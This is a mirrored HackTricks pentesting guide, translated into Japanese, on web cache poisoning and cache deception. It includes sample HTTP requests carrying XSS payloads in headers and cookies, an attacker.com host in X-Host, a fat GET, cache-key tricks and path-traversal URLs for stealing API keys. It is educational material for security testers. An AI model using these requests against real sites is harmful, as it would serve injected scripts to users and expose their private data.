Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 01:17:36 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception/README.md

25 KiB
Raw Blame History

キャッシュポイズニングとキャッシュデセプション

{% hint style="success" %} AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}


Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

違い

ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか？

  • ウェブキャッシュポイズニングでは、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーに提供されます。
  • ウェブキャッシュデセプションでは、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。

キャッシュポイズニング

キャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存し、汚染された応答は、キャッシュ汚染の期間中にページを訪れるユーザーにのみ提供されます。

キャッシュポイズニング攻撃の実行には、いくつかのステップが含まれます：

  1. 未キー入力の特定：これらは、リクエストがキャッシュされるために必要ではないが、サーバーが返す応答を変更できるパラメータです。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
  2. 未キー入力の悪用：未キー入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーの応答を変更するためにこれらのパラメータを誤用する方法を見つけることです。
  3. 汚染された応答がキャッシュされることを確認：最終ステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。

発見：HTTPヘッダーを確認

通常、応答がキャッシュに保存された場合、それを示すヘッダーが存在します。どのヘッダーに注意を払うべきかは、この記事で確認できます：HTTPキャッシュヘッダー。

発見：キャッシュエラーコード

応答がキャッシュに保存されていると思われる場合、不正なヘッダーを持つリクエストを送信してみることができます。これにはステータスコード400で応答されるべきです。その後、リクエストに通常アクセスして、応答が400ステータスコードであれば、それが脆弱であることがわかります（DoSを実行することも可能です）。

さらにオプションを見つけることができます：

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

ただし、時にはこれらのステータスコードがキャッシュされないことがあるため、このテストは信頼できない可能性があります。

発見：未キー入力を特定し評価する

Param Minerを使用して、ページの応答を変更する可能性のあるパラメータやヘッダーをブルートフォースすることができます。たとえば、ページがX-Forwarded-Forヘッダーを使用して、クライアントにそこからスクリプトを読み込むように指示している場合があります：

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

バックエンドサーバーから有害な応答を引き出す

パラメータ/ヘッダーが特定されたら、それがどのようにサニタイズされているか、どこで応答に反映されているかを確認します。何かを悪用できますか（XSSを実行する、あなたが制御するJSコードを読み込む、DoSを実行する...）？

応答をキャッシュする

悪用できるページ、使用するパラメータ/ヘッダー、およびどのように悪用するかを特定したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
応答のヘッダー**X-Cacheは非常に便利で、リクエストがキャッシュされていない場合はmissの値を持ち、キャッシュされている場合はhitの値を持つ可能性があります。
ヘッダーCache-Controlも、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです：Cache-Control: public, max-age=1800
もう一つの興味深いヘッダーはVaryです。このヘッダーは、通常はキーがない場合でも、キャッシュキーの一部として扱われる追加のヘッダーを示すために使用されることがよくあります。したがって、ターゲットとしている被害者のUser-Agentを知っている場合、特定のUser-Agentを使用しているユーザーのためにキャッシュを汚染することができます。
キャッシュに関連するもう一つのヘッダーはAge**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。

リクエストをキャッシュする際は、使用するヘッダーに注意してください。なぜなら、いくつかのヘッダーは予期せずにキー付きとして使用される可能性があり、被害者はその同じヘッダーを使用する必要があるからです。常に異なるブラウザでキャッシュポイズニングをテストして、機能しているか確認してください。

脆弱性の例

最も簡単な例

X-Forwarded-Forのようなヘッダーが、サニタイズされずに応答に反映されています。
基本的なXSSペイロードを送信し、キャッシュを汚染することで、ページにアクセスするすべての人がXSSされることになります：

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Using web cache poisoning to exploit cookie-handling vulnerabilities

クッキーはページのレスポンスに反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを利用できる可能性があります。

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

注意してください、脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリアします。

パストラバーサルを使用したキャッシュポイズニングによるAPIキーの盗難

このレポートは https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。/share/* に一致するものは、CloudflareがURLを正規化することなくキャッシュされ、リクエストがウェブサーバーに到達したときに行われました。

複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する

時には、キャッシュを悪用するために複数のキーなし入力を悪用する必要があります。例えば、X-Forwarded-Hostをあなたが管理するドメインに設定し、X-Forwarded-Schemeをhttpに設定すると、オープンリダイレクトを見つけることができるかもしれません。もしサーバーがすべてのHTTPリクエストをHTTPSに転送し、リダイレクトのドメイン名としてヘッダーX-Forwarded-Schemeを使用している場合、リダイレクトによってページが指し示す場所を制御できます。

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

限定された Vary ヘッダーを利用した攻撃

もし X-Host ヘッダーが JSリソースを読み込むためのドメイン名 として使用されているが、レスポンスの Vary ヘッダーが User-Agent を示している場合、被害者の User-Agent を抽出し、その User-Agent を使用してキャッシュを汚染する方法を見つける必要があります。

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

パラメータクラッキング

例えば、パラメータをrubyサーバーで**;文字を使って&**の代わりに分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ込み、悪用することができます。

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

HTTPリクエストスムージングを悪用したHTTPキャッシュポイズニングの悪用

HTTPリクエストスムージングを悪用したキャッシュポイズニング攻撃の実行方法についてここで学びます。

ウェブキャッシュポイズニングの自動テスト

Web Cache Vulnerability Scannerを使用して、ウェブキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。

使用例: wcvs -u example.com


Trickestを使用して、世界で最も高度なコミュニティツールによってパワーアップされたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

脆弱な例

Apache Traffic Server (CVE-2021-27577)

ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました（フラグメントは無視されます）。したがって、リクエスト/#/../?r=javascript:alert(1)はバックエンドに/#/../?r=javascript:alert(1)として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみが含まれていました。

GitHub CP-DoS

content-typeヘッダーに不正な値を送信すると、405キャッシュレスポンスがトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。

GitLab + GCP CP-DoS

GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。GCPバケットは**ヘッダーx-http-method-override**をサポートしています。したがって、ヘッダーx-http-method-override: HEADを送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、PURGEメソッドもサポートしていました。

Rackミドルウェア（Ruby on Rails）

Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**x-forwarded-scheme**ヘッダーの値を取得し、それをリクエストのスキームとして設定することです。ヘッダーx-forwarded-scheme: httpが送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否（DoS）を引き起こす可能性があります。さらに、アプリケーションはX-forwarded-hostヘッダーを認識し、指定されたホストにユーザーをリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。

403とストレージバケット

Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、キャッシュされた403レスポンスが返されました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。

キー付きパラメータの注入

キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストのsizeパラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン（例：siz%65）が誤った値で送信された場合、キャッシュキーは正しいsizeパラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目のsizeパラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。

ユーザーエージェントルール

一部の開発者は、FFUFやNucleiなどの高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。

不正なヘッダーフィールド

RFC7230は、ヘッダー名に許可される文字を指定しています。指定されたtchar範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、cache-controlヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字（例：\）を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。

新しいヘッダーの発見

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

キャッシュデセプション

キャッシュデセプションの目的は、クライアントに機密情報を持つリソースをキャッシュに保存させることです。

まず、.css、.js、.pngなどの拡張子は通常、キャッシュに保存されるように設定されています。したがって、www.example.com/profile.php/nonexistent.jsにアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、.jsの拡張子を見ているからです。しかし、アプリケーションが機密のユーザーコンテンツを_www.example.com/profile.php_から再生している場合、他のユーザーからそのコンテンツを盗むことができます。

テストする他の項目：

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • あまり知られていない拡張子（例：.avif）を使用する

非常に明確な別の例は、この書き込みに見つけることができます: https://hackerone.com/reports/593712.
この例では、存在しないページ（例：http://www.example.com/home.php/non-existent.css）を読み込むと、http://www.example.com/home.php（ユーザーの機密情報を含む）の内容が返され、キャッシュサーバーが結果を保存することが説明されています。
その後、攻撃者は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの機密情報を観察できます。

キャッシュプロキシは、ファイルの拡張子（.css）に基づいてファイルをキャッシュするように設定されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待されるtext/css MIMEタイプの代わりにtext/htmlコンテンツタイプを持ちます。

HTTPリクエストスムージングを悪用したキャッシュデセプション攻撃の実行方法についてここで学びます。

自動ツール

  • toxicache: URLのリスト内でウェブキャッシュポイズニングの脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。

参考文献


Trickestを使用して、世界で最も高度なコミュニティツールによってパワーアップされたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

{% hint style="success" %} AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する： HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}